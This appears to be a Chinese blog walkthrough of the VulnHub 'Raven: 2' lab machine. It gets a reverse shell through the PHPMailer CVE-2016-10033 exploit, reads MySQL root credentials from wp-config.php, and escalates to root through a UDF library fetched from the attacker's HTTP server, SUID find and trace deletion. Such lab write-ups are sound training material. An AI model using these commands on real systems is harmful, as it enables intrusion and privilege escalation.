VulnHub-Raven: 2(udf webshell上传提权)

本文最后更新于:2024年1月4日 晚上

WP

  1. 导入靶机,VMware直接:文件-》打开》选择下载好的.ova文件即可
  2. 编辑,虚拟网络编辑器,默认NAT模式,ok,看到靶机网段是192.168.123.0

WP参考🔗:https://icepeak.icu/2021/07/19/vulnhub-ba-chang-raven2/

https://www.freebuf.com/articles/web/261047.html

主机发现扫描

nmap -sP 192.168.123.0/24,得到靶机ip:192.168.123.129

image-20220520153255252

==如果攻击机是linux的话,arp-scan -l 也可以==

扫端口

nmap默认扫常用端口nmap 192.168.123.129

image-20220520153538837

80端口开放,扫目录

dirsearch -u 192.168.123.129 -i 200

image-20220520153805766

网站是apache,直接用漏扫工具vulmap,poc master扫一下,都没用洞

flag1

进入/vendor/

image-20220520154842047

随便点点文件,找到flag1,并且给出了网站绝对路径/var/www/html/vendor/

image-20220520154540630

phpmailer getshell

法一:使用searchsploit漏洞库中的POC

进入README.md文件,发现应用phpmailer

它安装的版本是5.2.16,而且readme、security文件都提示这个应用有漏洞,RCE:CVE-2016-10033

image-20220520155317385

image-20220520155433993

msf search一下漏洞

image-20220520160107309

好像不是rce,再用searchsploit搜一下,尝试40974.py文件

image-20220520163147152

searchsploit -m 40974,下载脚本到当前目录

image-20220520163457491

漏洞详情:https://github.com/opsxcq/exploit-CVE-2016-10033

漏洞页面:

image-20220520171033029

就跟之前漏扫的contact.php很像

image-20220520171142349

exp会生成后门文件

image-20220520171108119

直接运行py文件报错,提示没有模块,pip install 就行了,然后看一下py文件内容再运行

修改一下其中的内容+参数

  • 开头,防止乱码出现错误
#!/usr/bin/python
# -*- coding: utf-8 -*-
  • backdoor为生成的后门文件,名字自定

image-20220520220534742

然后kali运行py文件

image-20220520220653605

网页访问contact.php,会生成后门hello.php,然后kali监听本地4444端口(提前开放)

访问http://192.168.123.129/hello.php,一直在转,而kali这边收到shell

image-20220520221100987

进入交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

法二:msf一键利用exp

这里没有用msf,后续发现msf 也有exp,可以直接用,操作类似,info 0查看exp详情

image-20220521165546240

见https://www.freebuf.com/articles/web/261047.html

image-20220521170324960

注意,一开始运行失败,后门切换到root就可以了,不知道为啥,可能是权限不够

image-20220521172858750

这里也可以像法1一样用searsploit的脚本然后用msf的handle模块监听即可

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.123.134
lhost => 192.168.123.134
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > run

msf可能卡在收到session,但一直进不去,可以ctrl c先退出监听,再sessions -i进入

image-20220522084302397

flag2

进入到工作目录,得到flag2

image-20220520221753424

找flag文件

find / -name flag*

image-20220520222205997

/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png
/var/www/flag2.txt

flag3

命令行怎么看png图片?

​ --去浏览器看

​ --eog命令、还有其他需安装的工具命令也可以

成功得到flag3

image-20220520222310681

那flag4就是msf提权才能拿到了,通过udf提权使得在mysql执行系统root才能访问的命令,比如看/root

msf提权

udf提权的利用条件以及数据库版本问题

获得一个数据库账号,拥有MySQL的insert和delete权限,最好是root。 拥有将udf.dll写入相应目录的权限。(secure_file_priv为空)

查看本地开放端口,netstat -lpnut3306开放,这里127.0.0.1表示只对本地开放

image-20220521155938157

搜索一下mysql目录,没看到config相关文件,想到是wordpress,cms配置文件看下:wp-config.php

因为wordpress搭建网站肯定有数据库配置文件的,通过它寻找数据库账号密码

image-20220521160452598

得到MySQL账号密码root、R@v3nSecurity

登录mysql后信息搜集一下

查看版本、用户、mysql目录,可以看到mysql是root权限

image-20220521161008937

select @@secure_file_priv;查看有没有文件操作权限

使用 select @@plugin_dir 查看当前数据库扩展插件存放的位置
也可以
show variables like '%plugin%';

如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin 文件夹:
mysql > select 233 into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$index_allocation';

通过 NTFS ADS流创建文件夹成功率不高,目前 MySQL 官方貌似已经阉割了这个功能。那么如果找到 MySQL 的安装目录呢?通用也有对应的 SQL 语句可以查询出来
mysql> select @@basedir;
+------------------+
| @@basedir        |
+------------------+
| /usr/local/mysql |
+------------------+

image-20220521163439745

法一:使用metasploit自带的动态链接库手动写入

可以直接在msf里使用searchsploit

searchsploit 1518
写入动态链接库

如果存在SQL注入的话,可以通过sqlmap参数来上传动态链接库,但需要满足一定条件

没有注入的话,用SQL语句,条件:secure_file_priv 无限制

# 直接 SELECT 查询十六进制写入
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

# 解码十六进制再写入多此一举
SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

MySQL UDF 提权十六进制内容查询

image-20220522163416984

这里好像因为文件内容太长,写不进去文件,但是测试发现是可以写入短的

image-20220522163324524

那就换种方法,wget下载下来:kali开启http服务,靶机下载到本机然后mysql读取文件导入到plugin

kali中搭建简单http服务的四种方法(其中几种在其他linux中也适用)

1.python3 -m http.server 80   /运行在哪个目录,网站的根目录就在哪
2.php -S 0.0.0.0:8080  /同上,可以使用-t指定目录。
3.ruby -run -e httpd . -p 9000
4.busybox httpd -f -p 3333

msf动态链接库位置:

whereis metasploit-framework
cd /usr/share/metasploit-framework
cd ./data/exploits/mysql

image-20220522170121354

复制so文件到桌面,然后在桌面运行web服务,就可以在靶机上wget下载文件了

image-20220522170631043

image-20220522170621093

靶机shell下载:

image-20220522170937082

然后进入MySQL,利用into file写入so文件

mysql -uroot -pR@v3nSecurity

select load_file('/var/www/html/lib_mysqludf_sys_64.so') into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';   //outfile会有特殊的转换,而dumpfile是原数据导出

image-20220522171713377

绑定函数到动态链接库
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.so';
使用系统函数

注意:MySQL msf udf提权后不像以前一样返回一个shell操作,需要继续在mysql执行语句进行后续操作以验证

验证一下:MySQL查询添加的函数

select * from mysql.func;

利用自定义函数改变find命令权限

select sys_exec('chmod u+s /usr/bin/find');

image-20220522171911074

flag4

之前找的flag地址:

image-20220522172846268

  1. 直接利用函数查看flag文件:
select sys_eval('find / -name flag*');    
select sys_eval('cat /root/flag4.txt');  //成功拿到flag4

image-20220522173000803

  1. 也可以suid提权,赋予命令root权限,然后去执行命令的exec参数即可进入root的shell
select sys_eval('chmod u+s /usr/bin/find'); 
//给find命令所有者的suid权限,使其可以执行root命令,之后可以退出mysql,在www的shell下使用/usr/bin/find执行root权限
touch aaa
find aaa -exec "/bin/sh" \;  
//在当前目录下找到aaa文件执行/bin/sh提权,反斜杠 \ 代表结束的标志,与”/bin/sh“ 之间有一个空格
//这就进入了root的shell,可以直接找flag,也可以上传个msf到msf执行后续操作

image-20220522173741297

后续操作,删除痕迹:删除自定义函数 drop function sys_exec; Delete from mysql.func where name='sys_exec';

法二:一键msf操作(失败)

使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入lib(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。

先开启外连,why?

​ https://blog.csdn.net/weixin_30481539/article/details/113632851

​ 提权是从MySQL的root提到系统的root

​ 默认root不外连,msf布置在另一台机器,需开启外连才能提权(在蚁剑/shell/能执行mysql语句的地方)

1. mysql -uroot -pR@v3nSecurity
2. GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'R@v3nSecurity' WITH GRANT OPTION;  //"%"表示任何主机都可以远程登录到该服务器上访问
3. flush privileges;   //	因为MySQL把权限都放在了cache中,所以在做完更改后需要重新加载。
4. 修改/etc/mysql/my.cnf,需要**root用户权限**。找到文件中的:bind-address = 127.0.0.1将其注释掉,保存

image-20220521164015835

image-20220522111451574

需满足3个条件才能外连,这里shell权限太低,不能改配置文件,无法外连

后续发现要想使用mysql_udf_payload模块 MySQL需适应于5.5.9以下,这里靶机的mysql版本号为5.5.60,已经超出了版本限制,所以也不能提权

image-20220522174429546

更多方法:

连上webshell后/可以上传文件的情况下,上传udf.php大马

一些知识点

xshell上传下载文件

利用xshell的rz 、sz下载vps上searchsploit生成的exp

从linux服务器下载文件到本地的方法

运行rz,会将windows的文件传到linux服务器

运行sz filename,会将文件下载到windows本地

iptables开放端口

【A是末尾追加,I是第一行追加】

iptables -A INPUT -ptcp --dport  端口号-j ACCEPT

https://blog.csdn.net/weixin_37264997/article/details/80329786

验证开没开放:监听后nmap扫一下,有就是开放了

image-20220520222651538

MySQL查看当前用户

select user();
SELECT CURRENT_USER();

升级完整性交互式shell

[root@localhost ~]# python -c 'import pty; pty.spawn("/bin/bash")'   #使用python回显标头
[root@localhost ~]# ^Z		      # ctrl + z 按键  挂起正在运行的程序 
root@kali64:~# stty raw -echo	      # 输入这句后 在输入命令终端不在显示 
root@kali64:~# fg		      # 把后台挂起的程序,放到控制台----》 终端不显示命令,输入后回车
[root@localhost ~]# reset   # 将终端恢复至原始状态,之前的终端输入操作信息将都会被清空
[root@localhost ~]# export SHELL=bash

linux快速开启http

kali中搭建简单http服务的四种方法(其中几种在其他linux中也适用)

出现的问题

py模块下载问题

本地win10运行exp的py文件时显示没有模块,下载模块又报错

image-20220520172026202

image-20220520172038141

谷歌发现是开代理的原因,把win代理关了就ok了

image-20220520172113784

win10问题

运行exp后监听端口没收到,估计是要开放win10端口,为了安全起见还是不开了,转去kali好了

win10 开启端口:https://www.jianshu.com/p/11df41ddfcdb

Win10 开放防火墙中某一端口:https://blog.csdn.net/nihaize0520/article/details/80714108

开放了端口,为什么nmap扫不到呢?

只有端口使用时nmap才扫得到

32位?64位?

mysql如何查看是32位还是64位?

mysql -V或mysql --version
进入mysql,输入命令:show variables like '%version_%';
或show variables like '%compile%';

X64 表示64位

X86 表示32位

只带有win32.x86字样的是32位,带有win32.x86_64字样的是64位的。

这里看出是64位的,应该用64位的so文件

image-20220522103007475

Win32 -> 指的就是Windows系统; 64 bit- > 指的是Windows是64位的; AMD64 -> 指的就是 CPU是x64的

image-20220522104007503

开启外连失败?

https://blog.csdn.net/cj_Allen/article/details/104107013

如何解决远程连接mysql失败了的问题

Linux的netstat查看端口是否开放见解(0.0.0.0与127.0.0.1的区别)

  1. 需要确定防火墙没有阻止3306端口,否则是无法通过3306端口连接到myql的。

netstat -ano |find "3306" 可以看到local address是127.0.0.1:3306说明当前的连接只是针对服务器本身的,此时是未开启外连的,也就是说其他处于公网的ip无法通过mysql -h114.116.30.20 -uroot -p连接到当前数据库(图上红圈圈错了)

image-20220522113733723

==Local==:访问端口的方式,0.0.0.0 是对外开放端口,说明3306端口外面可以访问;127.0.0.1 说明只能对本机访问,外面访问不了此端口;

Foregin Address:对外开放,一般都为0.0.0.0:*

  1. 3306被绑定到了本地。检查一下my.cnf的配置,这里可以配置绑定ip地址。
bind-address=addr

不配置或者IP配置为0.0.0.0,表示监听所有客户端连接。如果是127.0.0.1:表示只能本地登录

但是靶机这里,my.cnf,www-data是不能编辑的,只能read

image-20220522154602082

配置文件里已经写死了ip

image-20220522154635082

  1. 检查MySQL用户权限:

MySQL建用户的时候会指定一个host,默认是127.0.0.1/localhost,那么这个用户就只能本机访问,其它机器用这个用户帐号访问会提示没有权限,host改为%,表示允许所有机器访问。

image-20220522155317424

要想外连,需三个条件同时满足才行,这里只能满足3,所以不能外连